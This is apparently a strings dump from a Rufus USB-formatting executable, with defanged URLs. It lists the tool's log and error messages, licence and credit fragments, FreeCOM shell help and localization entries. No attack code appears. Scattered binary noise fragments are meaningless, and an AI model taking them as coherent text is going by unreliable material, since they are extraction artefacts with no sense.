IMPORTANT: Your local clock is more than 10 minutes in the %s. Unless you fix this, Rufus may not be able to check for updates...

Successfully downloaded version file (%d bytes)

version: %d.%d.%d (%s)

platform_min: %d.%d

url: %s

N%sew %s version found%c

The URL is invalid.

The URL scheme could not be recognized or is not supported.

The Win32 Internet function support is being shut down or unloaded.

The request to connect and log on to an FTP server could not be completed because the supplied user name is incorrect.

The request to connect and log on to an FTP server could not be completed because the supplied password is incorrect.

The request to connect to and log on to an FTP server failed.

The requested operation is invalid.

The operation was cancelled, usually because the handle on which the request was operating was closed before the operation completed.

The type of handle supplied is incorrect for this operation.

The requested operation cannot be carried out because the handle supplied is not in the correct state.

The required operation could not be completed because one or more requests are pending.

SSL certificate date that was received from the server is bad. The certificate is expired.

SSL certificate common name (host name field) is incorrect.

The requested operation cannot be made on the FTP session handle because an operation is already in progress.

The FTP operation was not completed because the session was aborted.

The request made to HttpQueryInfo is invalid.

Client Authentication certificate needed

This connection requires an MSN Security Support Provider Interface package.

Unknown internet error 0xX

Downloading '%s' from %s

Unable to decode URL: %s

Could not open Internet session: %s

Could not connect to server %s:%d: %s

Could not open URL %s: %s

Unable to send request: %s

Unable to access file: %d

Unable to retrieve file length: %s

File length: %d bytes

Unable to create file '%s': %s

Error writing file '%s': %s

Could not download complete file - read: %d bytes, expected: %d bytes

Successfully downloaded '%s'

Network is unavailable: %s

B%s(%d): could not allocate command

%s(%d): missing parameter for command '%c'

%s(%d): no start quote

%s(%d): invalid integer

%s(%d): internal error (unexpected number of numeric values)

localization: unhandled arg_type '%c'

%s(%d): unknown command

%s(%d): no end quote

%s(%d): syntax error: '%s'

Could not convert '%s' to UTF-16

localization: could not open '%s'

localization: found locale '%s'

%s(%d): [a]ttributes cannot precede [l]ocale

%s(%d): [v]ersion was already provided at line %d

%s(%d): [v]ersion format is invalid

%s(%d): [v]ersion cannot precede [l]ocale

%s(%d): [v]ersion is not compatible with this framework

%s(%d): the version of this locale is incompatible with this version of Rufus and MUST be updated to at least v%d.%d.0

%s(%d): the version of this translation is older than the base one and may result in some messages not being properly translated.

If you are the translator, please update your translation with the changes that intervened between v%d.%d.%d and v%d.%d.%d.

See hXXps://github.com/pbatard/rufus/blob/master/res/localization/ChangeLog.txt

localization: '%s' contains no valid locale sections

%s(%d): unknown attribute '%c' - ignored

localization: no %slocale

Could not open file '%s'

Could not open temporary output file '%s~'

Could not write '%s' - original file has been left unmodified

download_url

Could not read file '%s'

Could not write '%s' - original file has been left unmodified.

PKI: Failed to get store handle for '%s': %s

PKI: Failed to get signer size: %s

PKI: Failed to get signer information: %s

PKI: Failed to locate signer certificate in temporary store: %s

Downloaded executable is signed by '%s'

PKI: Unable to convert '%s' to UTF16

PKI: Signature '%s' is unexpected...

d:d:d

Blocking I/O operation detected

Key is not empty

Failed to delete registry key HKCU\Software\%s: %s

*.log

rufus.log

The drive is incompatible with FS type #%d

Image is a %sbootable %s image

ISO label: '%s'

Uses: Syslinux/Isolinux v%s

With an old %s

Uses: EFI %s

Uses: WinPE %s

Uses: Install.wim (version %d.%d.%d)

Note: This WIM version is NOT compatible with Windows To Go

This ISOHybrid is not compatible with any of the ISO boot methods we support

Rufus %d.%d.%d%s

%s%d.%d.%d Rufus

Rufus version: %d.%d.%d%s

Warning: could not read embedded Syslinux v%d version

Windows version: %s

Syslinux versions: %s%s, %s%s

0.4.6a

Grub versions: %s, %s

System locale ID: 0xX

NOTE: The %s translation requires an update, but the current translator hasn't submitted one. Because of this, some messages will only be displayed in English.

%d %s

inetcpl.cpl

Syslinux %s

Grub4DOS 0.4.6a

*.img;*.vhd;*.gz;*.bzip2;*.xz;*.lzma;*.Z;*.zip

*.iso

%s (%s)

Image provided: '%s'

Windows To Go

hXXp://sourceforge.net/projects/sevenzip/files/7-Zip/

%s-%s/%s

Will reuse '%s' from './rufus_files/%s-%s/' for Grub 2.x installation

Failed to read existing '%s' data - will use embedded version

%s-%s

hXXp://rufus.akeo.ie/files

%s/%s-%s/%s

%s was not found - will use embedded version

Failed to read '%s' data - will use embedded version

Will replace obsolete '%s' from ISO with the one found in './rufus_files/%s'

%s-%s%s/%s.%s

Will reuse '%s.%s' and '%s.%s' from './rufus_files/%s/%s-%s%s/' for Syslinux installation

%s/%s-%s%s/%s.%s

%s/%s-%s/%s.%s

%s-%s\%s.%s

%s-%s\%s\%s.%s

Could not download the file - will try to use embedded %s version instead

%s-%s/%s.%s

Will reuse './%s/%s' for Syslinux installation

%s.%s

grub4dos-%s/grldr

Will reuse './%s/%s' for Grub4DOS installation

grub4dos-%s

%s/grub4dos-%s/grldr

URL = %s

Format operation started

*.vhd

%s.vhd

Save to VHD operation started

Msvcrt

Global/Rufus_CmdLine

Could not find ISO image '%s'

Usage: %s [-f] [-g] [-h] [-i PATH] [-l LOCALE] [-w TIMEOUT]

Start in GUI mode (disable the 'rufus.com' commandline hogger)

Could not get current directory: %s

Could not get system directory: %s

Could not get Windows directory: %s

C:\Windows

%s\rufus.ini

Will use settings from %s

found locale '%s'

EnableWindowsDualUefiBiosMode

rufus.loc

localization: unable to extract '%s': %s

localization: extracted data to '%s'

%s\%s

using external loc file '%s'

Could not load RichEdit library - some dialogs may not display: %s

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

localization: using locale '%s'

NOTE: Listing of non-USB removable drives has been %s.

rufus.com

SetLGP: CoCreateInstance failed; hr = %x

SetLGP: OpenLocalMachineGPO failed - error %x

SetLGP: GetRegistryKey failed - error %x

SetLGP: Failed to open LGPO path %s - error %x

SetLGP: Failed to read original %s policy value - error %x

SetLGP: RegSetValueEx / RegDeleteValue failed - error %x

SetLGP: Unable to apply %s policy - error %x

SetLGP: Successfully %s %s policy to 0xX

SetLGP: Successfully removed %s policy key

hash table is full (%d entries)

Windows Undefined

%s %u.%u %s

%s SP%u.%u %s

%s SP%u %s

%s %s

Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber

OpenProcessToken failed: %s

GetTokenInformation (pre) failed: %s

Unable to convert SID to string: %s

Unable to convert string back to SID: %s

GetTokenInformation (real) failed: %s

Could not set security descriptor: %s

Could not %s file '%s'

I/O Error: %s

Could not locate resource '%s': %s

Could not load resource '%s': %s

Coult not allocate resource '%s'

Could not set commandline pipe: %s

Unable to launch command '%s': %s

thr_%d:

[0xX]

Windows error code 0xX (FormatMessage error code 0xX)

Unknown error 0xX

{X-X-X-XX-XXXXXX}

%0.0f%s

%0.1f%s

%s%0.0f%s %s

%s%0.1f%s %s

%s%d%s %s

%s%d%s%s

StrError: non storage - X (%X)

Unknown error: X

Warning - Could not read file pointer: %s

Wrote %d bytes but requested %d%s

Write error [0x%8X]%s

%s (*.*)

Could not select file for %s. Error %X

Maximum number of tooltips reached (%d)

CoCreateInstance for TaskbarList failed: error %X

*.exe

hXXp://rufus.akeo.ie

Failed to launch new application: %s

Could not get download URL

Could not locate font for %s!

Rufus.exe

Copyright (C) 2007 Free Software Foundation, Inc. <hXXp://fsf.org/>

certain responsibilities if you distribute copies of the software, or if

gratis or for a fee, you must pass on to the recipients the same

infringement under applicable copyright law, except executing it on a

The "System Libraries" of an executable work include anything, other

(kernel, window system, and so on) of the specific operating system

(if any) on which the executable work runs, or a compiler used to

the source code needed to generate, install, and (for an executable

is effected by exercising rights under this License with respect to

the covered work, and you disclaim any intention to limit operation or

and you may offer support or warranty protection for a fee.

long as you offer spare parts or customer support for that product

may be on a different server (operated by you or a third party)

that supports equivalent copying facilities, provided you maintain

A separable portion of the object code, whose source code is excluded

procedures, authorization keys, or other information required to install

and execute modified versions of a covered work in that User Product from

requirement to continue to provide support service, warranty, or updates

adversely affects the operation of the network or violates the rules and

source code form), and must require no special password or key for

removal in certain cases when you modify the work.) You may place

You may not impose any further restrictions on the exercise of the

not impose a license fee, royalty, or other charge for exercise of

sale, or importing the Program or any portion of it.

make, use, sell, offer for sale, import and otherwise run, modify and

the scope of its coverage, prohibits the exercise of, or is

conditioned on the non-exercise of one or more of the rights that are

Program specifies that a certain numbered version of the GNU General

PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),

\fs16\b %s\b0\line

%s\par

\fs16 %s\par

\fs16 %s\line

%s\line

\b %s\b0\line

hXXp://pcunleashed.com\line

hXXp://ms-sys.sourceforge.net\line

FreeDOS support from the FreeDOS project:\line

hXXp://VVV.freedos.org\line

ISO extraction support from libcdio by Rocky Bernstein et al.:\line

hXXp://VVV.gnu.org/software/libcdio\line

Syslinux support from Syslinux by H. Peter Anvin et al.:\line

hXXp://VVV.syslinux.org\line

Grub4DOS support from Grub4DOS by chenall, itself based on GRUB Legacy by the Free Software Foundation:\line

hXXps://github.com/chenall/grub4dos\line

GRUB 2 support from GNU GRUB by the Free Software Foundation:\line

hXXp://VVV.gnu.org/software/grub\line

ReactOS support & additional FAT and time-conversion handling by ReactOS:\line

hXXp://VVV.reactos.org\line

hXXp://svn.reactos.org/svn/reactos/trunk/reactos\line

hXXp://e2fsprogs.sourceforge.net\line

hXXp://VVV.ridgecrop.demon.co.uk/index.htm?fat32format.htm\line

fmifs.dll usage based on Formatx by Mark Russinovich:\line

hXXp://doc.sch130.nsc.ru/VVV.sysinternals.com/ntw2k/source/fmifs.shtml\line

hXXp://svn.reactos.org/svn/reactos/trunk/reactos/include/reactos/libs/fmifs\line

Device enumeration based on TestUSBDriveEject.cpp by ahmd:\line

hXXp://VVV.codeguru.com/forum/showthread.php?p=1951973\line

Decompression support from BusyBox/Bled:\line

hXXp://VVV.busybox.net/\line

hXXps://github.com/pbatard/bled\line

hXXps://sourceforge.net/projects/smartmontools\line

hXXp://VVV.gnu.org/software/fdisk\line

hXXp://kolibrios.org\line

hXXps://VVV.gnupg.org\line

hXXp://7-zip.org\line

hXXps://github.com/weidai11/cryptopp/\line

hXXp://winscp.net\line

hXXp://tortoisesvn.net/, hXXp://code.google.com/p/tortoisegit/\line

\b\fs20%s\b0\line

\fs18%s\line

hXXp://rufus.akeo.ie\line

hXXps://github.com/pbatard/rufus/issues\line

\b\fs19 %s\b0}

Cannot read sector %u

Could not open %s

Could not read %s

Using existing './%s'

%C:\%s.%s

Unable to create '%s'

Could not write '%s': %s

Could not write ADV to '%s': %s

Successfully wrote '%s'

Could not translate LDLINUX.SYS LCN to disk LBA

Unsupported Syslinux filesystem

Could not read Syslinux boot record: %s

Partial read of Syslinux boot record: read %d bytes but requested %d

Could not write Syslinux boot record: %s

%s/%s-%s

Caution: No '%s' was provided. The target will be missing a required Syslinux file!

Created '%s' (from '%s/%s-%s/%s')

Failed to create '%s': %s

%C:\%s

%C:\syslinux.cfg

Could not create ReactOS 'syslinux.cfg'

KERNEL %s

APPEND %s

Processing Hub %d:

Hub[%d] = '%s'

Found ID[d]: %s

Processing IDs belonging to '%s':

SetupDiGetClassDevs (Interface) failed: %s

SetupDiGetDeviceRegistryProperty (Enumerator Name) failed: %s

Processing '%s' device:

Hardware ID: '%s'

SetupDiGetDeviceRegistryProperty (Friendly Name) failed: %s

Could not locate device node for '%s'

Could not get children of '%s'

NOTE: Matched instance from sibling for '%s'

Matched with ID[d]: %s

Matched with (GP) ID[d]: %s

Matched with Hub[%d]: '%s'

Could not get device instance handle for '%s': CR error %d

Could not get port for '%s': CR error %d

Could not open hub %s: %s

Could not get node connection information for '%s': %s

Could not get node connection information (V2) for device '%s': %s

Found VHD device '%s'

Found card reader device '%s'

Found non-USB removable device '%s'

????:????

X:X

Found %s%s%s device '%s' (%s) %s

NOTE: This device is an USB 3.0 device operating at lower speed...

SetupDiEnumDeviceInterfaces failed: %s

A device was eliminated because it didn't report itself as a disk

SetupDiGetDeviceInterfaceDetail (dummy) failed: %s

SetupDiGetDeviceInterfaceDetail (actual) failed: %s

Could not open '%s': %s

Device eliminated because it is smaller than %d MB

Device eliminated because it was detected as a Hard Drive (score %d > 0)

Removing %C: from the list: This is the %s!

%s [%s]

?:\EFI\Rufus\ntfs_x64.efi

Opening: %s:[%d] (7-Zip)

Extracting: %s (From %s)

"%s" -y e "%s" %s%s

Could not launch 7z.exe: %s

\bootmgfw.efi

Could not rename %s to %s

7z.exe did not extract %s

'%s' (%s)

Apply %s: %s [err = %d]

Opening: %s:[%d] (API)

Could not fetch temp path: %s

Could not access image: %s

Could not set temp path: %s

Could not set index: %s

Could not extract file: %s

Closing: %s

Opening: %s:[%d]

Could not set progress callback: %s

Applying Windows image...

Could not count the files to apply: %s

Could not apply image: %s

Rpcrt4

Could not write VHD footer: %s

Could not open image '%s'

Could not get image size: %s

Unsupported type of VHD image

Warning: VHD footer seems corrupted (checksum: X, expected: X)

wimgapi.dll

\7z.exe

WIM extraction method(s) supported: %s%s%s

WIM apply method supported: %s

.lzma

BThis compression type is not supported

Could not open '%s' (errno: %d)

unsupported compression format

Could not get source descriptor (errno: %d)

Could not get target descriptor (errno: %d)

bunzip error %d

compressed with %d bits, can only handle 16 bits

read error (errno: %d)

write error (errno: %d)

unsupported check; not verifying file integrity

not a .xz file

unsupported XZ header option

@@@invalid zip magic X

zip method method %d is not supported

zip flags 1 and 8 are not supported

processing archive file '%s'

write_sectors: Could not access sector 0xI64x - %s

write_sectors: Write error %s

Wrote: %d, Expected: %I64u

read_sectors: Could not access sector 0xI64x - %s

read_sectors: Read error %s

Read: %d, Expected: %I64u

unsupported sectors size

kernel32.dll

KERNEL32.DLL not found!

GetVolumePathName() not found in KERNEL32.DLL!

GetDiskFreeSpace() not found in KERNEL32.DLL!

Unsupported number of volume disk extents!

Converted ISO 9660 timezone %d is less than -48. Adjusted

Converted ISO 9660 timezone %d is over 52. Adjusted

string '%s' fails 7bit constraint (pos = %d)

string '%s' fails a-character constraint (pos = %d)

string '%s' fails d-character constraint (pos = %d)

string '%s' is getting truncated to %d characters

%s;%d

Couldn't calloc(1, %d)

%d %d %d, '%c%c' (%d, %d)

error reading PVD sector (%d) error %d

Found Extension: Joliet Level %d

Expecting the PVD sector header MSF to be 0x16, is: %x

Expecting the PVD sector mode to be Mode 1 is: %x

Expecting the PVD sector mode to be Mode 2 is: %x

Unsupported NM flag settings (%d)

Unsupported allocation descriptor %d

Unknown strategy type %d

read count %u is larger than %u extent size.

read count truncated to %u

**ERROR: %s

--DEBUG: %s

   WARN: %s

INFO: %s

!ASSERT: %s

Reading audio sector(s) lsn %u for %d blocks

Reading data sector(s) lsn, %u blocksize %d, for %d blocks

Reading mode 1 secto lsn %u

number of minutes (%d) truncated to 99.

Null CdIo object passed

Number of tracks exceeds maximum (%d vs. %d)

fclose (): %s

fread (): %s

fseeko64 (): %s

could not retrieve file info for `%s': %s

_matherr(): %s in %s(%g, %g) (retval=%g)

VirtualQuery failed for %d bytes at address %p

VirtualProtect failed with code 0x%x

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

unknown option -- %s

unknown option -- %c

option requires an argument -- %s

option requires an argument -- %c

GCC: (Rev2, Built by MSYS2 project) 5.3.0

If you are the translator, please update your translation with the changes that intervened between v1.0.18 and v1.0.19.

C:\Windows\system32

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp

<d.dR

y%uRl/~b

12345678

Invalid switch. - /%c

Invalid switch. - /%s

Ill-formed option: '%s'

Option '%s' can not have an argument

Option '%s' must have an argument

Invalid number specified in '%s'

Missing closing quote: %c

Too many parameters. - '%s'

Invalid parameter. - '%s'

File not found. - '%s'

Invalid drive %c:.

Bad command or filename - "%s".

Cannot pipe! Cannot open temporary file!

Line #%ld in batchfile '%s' too long.

Batchfile '%s' not found.

Batchfile '%s' does not contain label '%s'.

%s failed for '%s'.

Can not set environment variable '%s'.

Environment variable '%s' not found.

Can not set alias '%s'. Alias space full?

Alias '%s' not found.

Syntax error. - '%s'

Filename too long. - '%s'

Cannot copy '%s' to itself

Invalid history size '%s'.

Undefined error %d.

Illegal memory region %d - ignored.

Can not redirect input from file '%s'.

Can not redirect output to file '%s'.

The CTTY command has been excluded from this COMMAND.COM.

Invalid or no read-write device '%s'.

Failed to change file descriptors to TTY '%s'.

Unable to open source. - '%s'

Unable to open file '%s'

Unable to read from file '%s'

Unable to write to file '%s'

Sorry...not implemented yet.

The /MSG option has been excluded from this COMMAND.COM.

%u items displayed.

the system COMMAND.COM runs in. Please report this error.

The path to COMMAND.COM must be fully qualified!

COMMAND.COM assumes this path now:

Drive %c: not responding.

No such alias: '%s'

Invalid alias name '%s'.

Resizing context to %u bytes.

freecom@freedos.org

%s: Permission denied

%s: No such file or directory

%s: Unknown error

Press any key to continue . . .

History size is %d bytes.

DOSKEY features are already enabled in the shell.

ECHO is %s

VERIFY is %s

DEBUG output is %s.

DEBUG output is printed to '%s'.

BREAK is %s

LFNFOR is %s

LFN Complete is %s

Current date is %s

Enter new date (mm%sdd%s[cc]yy):

Enter new date (dd%smm%s[cc]yy):

Enter new date ([cc]yy%smm%sdd):

Current time is %s

%s %s %s

All files in '%s' will be deleted!

Terminate batch file '%s' (Yes/No/All) ?

Overwrite '%s' (Yes/No/All/Quit) ?

Append to '%s' (Yes/No/All/Quit) ?

Delete '%s' (Yes/No/All/Quit) ?

Volume in drive %c

is %s

Volume Serial Number is X-X

s file(s)

s bytes

s dir(s)

s bytes free

Directory of %s

Directory of %s

PATH=%s

%u files removed.

Press F8 for trace mode, or F5 to bypass %s...

Bypassing '%s'.

DOS version %u.%u

FreeDOS kernel version %d.%d.%d

Send bug reports to freedos-freecom@lists.sourceforge.net.

Updates are available from hXXp://freedos.sourceforge.net/freecom

to the enclosed HISTORY.TXT file.

Currently maintained by Steffen Kaiser mailto:freecom@freedos.org

FreeCOM executable not found.

You must specify the complete path to COMMAND.COM

C:\FDOS

Environment segment : max %5u bytes; free %5u bytes

Context segment : max %5u bytes; free %5u bytes

Aliases : limit %5u bytes, current %5u bytes, %5u items

History : limit %5u bytes, current %5u bytes, %5u items

Directory stack: limit %5u bytes, current %5u bytes, %5u items

Last dir cache : used %5u bytes, %5u items

Batch nesting : used %5u bytes, %5u items

Swapinfo : used %5u bytes, %5u items

The current codepage is %u.

The system codepage (properly) is: %u.

/Y enables tracemode during execution of the command.

COMMAND [[drive:]path] [device] [/E:nnnnn] [/L:nnnn] [/U:nnn] [/P] [/MSG]

[drive:]path Specifies the directory containing COMMAND.COM.

/MSG Stores all error messages in memory (requires /P as well).

/C command Executes the specified command and returns.

/K command Executes the specified command and continues running.

The switch /Y may be preset in the COPYCMD environment variable.

Switches may be preset in the DIRCMD environment variable. Override

The external DOSKEY utility had been incorporated into FreeCOM.

Use cursor UP,& DOWN keys to recall the history and HISTORY to display it.

Use cursor LEFT,& RIGHT and the END and HOME keys to navigate within

Use the TAB key to complete the current word as filename; use it twice

DOSKEY [/switch ...] [macroname=[text]]

/KEYSIZE:size Sets size of keyboard type-ahead buffer (default:15)

/MACROS Displays all DOSKey macros

/REINSTALL Installs a new copy of DOSKey

The following are special codes you can use in DOSKey macro definitions:

FOR %f IN (---start--- a*.* ---end---) DO ECHO - %f -

Displays or sets a search path for executable files.

"Press any key to continue...." or an optional specified message.

$B | (pipe)

Records comments (remarks) in a batch file or CONFIG.SYS.

The second one will prompt whether or not to execute the specified

Searches and displays the executable file for each specified command.

Deleting file "%s".

Unable to write to file '%s';

FreeCOM cannot be a device: "%s"

pointed to in %COMSPEC% seems to be invalid. Please specify another

C:\COMMAND.COM

%u Critical Error requests suppressed.

Exit code (ERRORLEVEL): %u, reason: %u (%s)

3456789

!"#$%&'(

\!ß

/.-, *)(

W%n.CC(6

!Po%F

*|%D-

NK@-.TMPn

0386.APU

{KEY/

.SYS/AU

TOEXEC.B

."%s"XI

%4u-%

Y-5D

KEYB9{Buff

g.lvm-Ry

keyb

h.fG3

6789:;<=

X.YuY

5.xt5)

A6.cB

KEYBgj

tp://[-|.sf.n

[.xsp

FreeDOS keyboard layout library file 1/4

FreeDOS keyboard layout library file 2/4

FreeDOS keyboard layout library file 3/4

FreeDOS keyboard layout library file 4/4P

@acm.org

acm.org

kostT@acm.or

oT@acm.org

T@acm.org

4Q%F^

cm.org

m.org

<%c)|

ostT@acm.org

/3`.px)xL

message in error, hold down the Ctrl key whilebooting, and I

Unknown keyword in configuration file:

Missing parameter in configuration file. Keyword:

Boot failed: please change disks and press a key to continue.

.cbt.bss.bs

.com.c32

%$%a%b%V%U%c%Q%W%]%\%[%

%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%

only support sH

%s^|ctx

llu (%u/

%xK0%1!L

@A.LD

I.IYN.m

k{h.Xgc

!d%%dH`

%X1!v

start = %x, len

:0x%x size d

.ss@AU0

e Ctrl key while

->pvt[%d]: warnN

(C[%s(!#$LCN

MFTp

CHS[x]

N8emX$%UY:$

c.so.12

2key)

Y`SlS'$ P%x

c%Utu6

Loading %s...

-solaris Enable Solaris DHCP information passing

-aout Use the "a.out kludge" if enabled, even for ELF

Unsupported Multiboot flags set: %#x

Memory segment at 0xx (len 0xx) is unavailable

Failed to claim a.out address space!

Failed to map a.out data

Failed to map a.out bss

Invalid Multiboot image: neither ELF header nor a.out kludge found

1.2.5

inflate 1.2.5 Copyright 1995-2010 Mark Adler

to start GRUB, any other key to boot previous MBR ...

to boot previous MBR, any other key to start GRUB ...

Invalid previous MBR. Press any key to start GRUB ...

to hold the screen, any other key to boot previous MBR ...

hot-key

t\<%uP.

BIOS: Drive=0x%X, H=%d, S=%d

TUNE: Drive=0x%X, H=%d, S=%d

}]F/%u

(GCI.hp

nz.wQ~[

.zf#S

v 1.0.19

t MSG_001 "Other instance detected"

t MSG_002 "Another Rufus application is running.\n"

t MSG_003 "WARNING: ALL DATA ON DEVICE '%s' WILL BE DESTROYED.\n"

"To continue with this operation, click OK. To quit click CANCEL."

t MSG_004 "Rufus update policy"

t MSG_005 "Do you want to allow Rufus to check for application updates online?"

t MSG_006 "Close"

t MSG_007 "Cancel"

t MSG_008 "Yes"

t MSG_009 "No"

t MSG_010 "Bad blocks found"

t MSG_011 "Check completed: %d bad block(s) found\n"

" %d read error(s)\n %d write error(s)\n %d corruption error(s)\n"

t MSG_012 "%s\nA more detailed report can be found in:\n%s"

t MSG_013 "Disabled"

t MSG_014 "Daily"

t MSG_015 "Weekly"

t MSG_016 "Monthly"

t MSG_017 "Custom"

t MSG_018 "Your version: %d.%d (Build %d)"

t MSG_019 "Latest version: %d.%d (Build %d)"

t MSG_020 "bytes"

t MSG_021 "KB"

t MSG_022 "MB"

t MSG_023 "GB"

t MSG_024 "TB"

t MSG_025 "PB"

t MSG_026 "bytes"

t MSG_027 "kilobytes"

t MSG_028 "megabytes"

t MSG_029 "Default"

t MSG_030 "%s (Default)"

t MSG_031 "%s partition scheme for BIOS or %s"

t MSG_032 "%s partition scheme for BIOS"

t MSG_033 "%s partition scheme for UEFI"

t MSG_034 "%d Pass"

t MSG_035 "%d Passes"

t MSG_036 "ISO Image"

t MSG_037 "Application"

t MSG_038 "Abort"

t MSG_039 "Launch"

t MSG_040 "Download"

t MSG_041 "Operation cancelled by the user"

t MSG_042 "Error"

t MSG_043 "Error: %s"

t MSG_044 "File download"

t MSG_045 "USB Storage Device (Generic)"

t MSG_046 "%s (Disk %d) [%s]"

t MSG_047 "Multiple Partitions"

t MSG_048 "Rufus - Flushing buffers"

t MSG_049 "Rufus - Cancellation"

t MSG_050 "Success."

t MSG_051 "Undetermined error while formatting."

t MSG_052 "Cannot use the selected file system for this media."

t MSG_053 "Access to the device is denied."

t MSG_054 "Media is write protected."

t MSG_055 "The device is in use by another process. "

t MSG_056 "Quick format is not available for this device."

t MSG_057 "The volume label is invalid."

t MSG_058 "The device handle is invalid."

t MSG_059 "The selected cluster size is not valid for this device."

t MSG_060 "The volume size is invalid."

t MSG_061 "Please insert a removable media in drive."

t MSG_062 "An unsupported command was received."

t MSG_063 "Memory allocation error."

t MSG_064 "Read error."

t MSG_065 "Write error."

t MSG_066 "Installation failure"

t MSG_067 "Could not open media. It may be in use by another process. "

t MSG_068 "Error while partitioning drive."

t MSG_069 "Could not copy files to target drive."

t MSG_070 "Cancelled by user."

t MSG_071 "Unable to start thread."

t MSG_072 "Bad blocks check didn't complete."

t MSG_073 "ISO image scan failure."

t MSG_074 "ISO image extraction failure."

t MSG_075 "Unable to remount volume."

t MSG_076 "Unable to patch/setup files for boot."

t MSG_077 "Unable to assign a drive letter."

t MSG_078 "Can't mount GUID volume."

t MSG_079 "The device is not ready."

t MSG_080 "Rufus detected that Windows is still flushing its internal buffers onto the USB device.\n\n"

"Depending on the speed of your USB device, this operation may take a long time to complete, "

"especially for large files.\n\nWe recommend that you let Windows finish, to avoid corruption. "

t MSG_081 "Unsupported image"

t MSG_082 "This image is either non-bootable, or it uses a boot or compression method that is not supported by Rufus..."

t MSG_083 "Replace %s?"

t MSG_084 "This ISO image seems to use an obsolete version of '%s'.\n"

"'%s' exists there, it will be reused automatically."

t MSG_085 "Downloading %s"

t MSG_086 "No image selected"

t MSG_087 "Please click on the disc button to select a bootable image, "

t MSG_088 "Image is too big"

t MSG_089 "The image is too big for the selected target."

t MSG_090 "Unsupported ISO"

t MSG_091 "When using UEFI Target Type, only EFI bootable ISO images are supported. "

t MSG_092 "Unsupported filesystem"

t MSG_093 "IMPORTANT: THIS DRIVE CONTAINS MULTIPLE PARTITIONS!!\n\n"

"This may include partitions/volumes that aren't listed or even visible from Windows. "

t MSG_094 "Multiple partitions detected"

t MSG_095 "DD Image"

t MSG_096 "The file system currently selected can not be used with this type of ISO. "

t MSG_097 "'%s' can only be applied if the file system is NTFS."

t MSG_098 "IMPORTANT: You are trying to install 'Windows To Go', but your target drive doesn't "

"have the 'FIXED' attribute. Because of this Windows will most likely freeze during boot, "

t MSG_099 "Filesystem limitation"

t MSG_100 "This ISO image contains a file larger than 4GB, which is more than the "

t MSG_101 "Missing WIM support"

t MSG_102 "Your platform cannot extract files from WIM archives. WIM extraction "

"is required to create EFI bootable Windows 7 and Windows Vista USB drives. You can fix that "

t MSG_103 "Download %s?"

t MSG_104 "%s or later requires a '%s' file to be installed.\n"

"Because this file is more than 100 KB in size, and always present on %s ISO images, "

"'%s' exists there, it will be reused automatically.\n"

t MSG_105 "Cancelling may leave the device in an UNUSABLE state.\n"

t MSG_106 "Please select folder"

t MSG_107 "All files"

t MSG_108 "Rufus log"

t MSG_109 "0xX (Disk %d)"

t MSG_110 "MS-DOS cannot boot from a drive using a 64 kilobytes Cluster size.\n"

t MSG_111 "Incompatible Cluster size"

t MSG_112 "Formatting a large UDF volumes can take a lot of time. At USB 2.0 speeds, the estimated formatting "

"duration is %d:d, during which the progress bar will appear frozen. Please be patient!"

t MSG_113 "Large UDF volume"

t MSG_114 "This image uses Syslinux %s%s but this application only includes the installation files for "

"Syslinux %s%s.\n\nAs new versions of Syslinux are not compatible with one another, and it wouldn't "

"Internet ('ldlinux.sys' and 'ldlinux.bss'):\n"

"- Select 'No' to cancel the operation\n\n"

t MSG_115 "Download required"

t MSG_116 "This image uses Grub %s but the application only includes the installation files for "

"Grub %s.\n\nAs different versions of Grub may not be compatible with one another, and it is "

"installation file ('core.img') that matches the one from your image:\n"

"- Select 'Cancel' to abort the operation\n\n"

t MSG_150 "Usually the safest choice. However, if you have an UEFI computer and want to install "

"an Operating System in native EFI mode, you should select one of the other options"

t MSG_151 "Use this if you want to install an Operating System in native EFI mode, but will need "

"to access the USB content from Windows XP"

t MSG_152 "The preferred option to install an Operating System in native EFI mode, when USB access "

"is not required from Windows XP"

t MSG_153 "Test pattern: 0xX"

t MSG_154 "Test pattern: 0xX, 0xX"

t MSG_155 "Test pattern: 0xX, 0xX, 0xX"

t MSG_156 "Test pattern: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Sets the target filesystem"

t MSG_158 "Minimum size that a block of data will occupy in the filesystem"

t MSG_159 "Use this field to set the drive label\nInternational characters are accepted"

t MSG_160 "Toggle advanced options"

t MSG_161 "Check the device for bad blocks using a test pattern"

t MSG_162 "Uncheck this box to use the \"slow\" format method"

t MSG_163 "Check this box to make the USB drive bootable"

t MSG_164 "Method that will be used to make the drive bootable"

t MSG_165 "Click to select an image..."

t MSG_166 "Check this box to allow the display of international labels "

"and set a device icon (creates an autorun.inf)"

t MSG_167 "Install an MBR that allows boot selection and can masquerade the BIOS USB drive ID"

t MSG_168 "Try to masquerade first bootable USB drive (usually 0x80) as a different disk.\n"

"This should only be necessary if you install Windows XP and have more than one disk"

t MSG_169 "Create an extra hidden partition and try to align partitions boundaries.\n"

t MSG_170 "Enable the listing of USB Hard Drive enclosures. USE AT YOUR OWN RISKS!!!"

t MSG_171 "Start the formatting operation.\nThis will DESTROY any data on the target!"

t MSG_172 "Licensing information and credits"

t MSG_173 "Click to select..."

t MSG_174 "Rufus - The Reliable USB Formatting Utility"

t MSG_175 "Version %d.%d (Build %d)"

t MSG_176 "mailto:pete@akeo.ie"

t MSG_177 "Report bugs or request enhancements at:"

t MSG_178 "Additional Copyrights:"

t MSG_179 "Update Policy:"

t MSG_180 "If you choose to allow this program to check for application updates, "

t MSG_181 "Your operating system's architecture and version"

t MSG_182 "The version of the application you use"

t MSG_183 "Your IP address"

t MSG_184 "For the purpose of generating private usage statistics, we may keep the information collected, "

t MSG_185 "Update Process:"

t MSG_186 "Rufus does not install or run background services, therefore update checks are performed only when the main application is running.\\line\n"

t MSG_187 "Invalid image for selected boot option"

t MSG_188 "The current image doesn't match the boot option selected. Please use a different image or choose a different boot option."

t MSG_189 "This ISO image is not compatible with the selected filesystem"

t MSG_190 "Incompatible drive detected"

t MSG_191 "Write pass"

t MSG_192 "Read pass"

t MSG_193 "Downloaded %s"

t MSG_194 "Could not download %s"

t MSG_195 "Using embedded version of %s file(s)"

t MSG_196 "IMPORTANT: THIS DRIVE USES A NONSTANDARD SECTOR SIZE!\n\n"

